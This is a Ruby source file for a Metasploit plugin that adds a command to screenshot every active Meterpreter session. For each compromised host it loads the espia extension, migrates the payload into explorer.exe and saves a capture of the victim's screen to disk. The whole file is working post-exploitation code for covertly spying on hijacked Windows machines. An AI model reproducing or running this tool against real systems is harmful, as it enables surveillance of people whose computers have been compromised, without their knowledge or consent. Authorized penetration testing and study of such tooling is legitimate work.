module Msf

class Plugin::Screenshot < Msf::Plugin

    class ScreenshotCommandDispatcher
        include Msf::Ui::Console::CommandDispatcher

        def name
            "Screenshoter"
        end

        def commands
            {
                'screenshot_all_sessions'        => "Screenshot all active sessions"
            }
        end

        def cmd_screenshot_all_sessions(*args)

            framework.sessions.each_key do |sid|
                session = framework.sessions[sid]
                next if session.type != "meterpreter"

                print_status(">> Scanning session #{session.sid} / #{session.tunnel_peer}")

                if(! session.espia)
                    session.core.use("espia")
                end

                if(! session.espia)
                    print_status("!! Failed to load espia on #{session.sid} / #{session.tunnel_peer}")
                    next
                end

                begin
                    process2mig = "explorer.exe"
                    
                    # Actual migration
                    mypid = session.sys.process.getpid
                    session.sys.process.get_processes().each do |x|
                        if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
                            print_status("\t#{process2mig} Process found, migrating into #{x['pid']}")
                            session.core.migrate(x['pid'].to_i)
                            print_status("Migration Successful!!")
                        end
                    end
                rescue
                    print_status("Failed to migrate process!")
                    next
                end

                path = "#{session.sid}-#{session.tunnel_peer}-" + ::Rex::Text.rand_text_alpha(8) + ".jpg"

                data = session.espia.espia_image_get_dev_screen

                if(data)
                    ::File.open(path, 'wb') do |fd|
                        fd.write(data)
                    end
                end
                path = ::File.expand_path(path)
                print_line("[*] Image saved to #{path}")
                            
            end
        end
    end

    def initialize(framework, opts)
        super
        add_console_dispatcher(ScreenshotCommandDispatcher)
    end

    def cleanup
        remove_console_dispatcher('Screenshoter')
    end

    def name
        "screenshoter"
    end

    def desc
        "Screenshot all active meterpreter sessions"
    end
end
end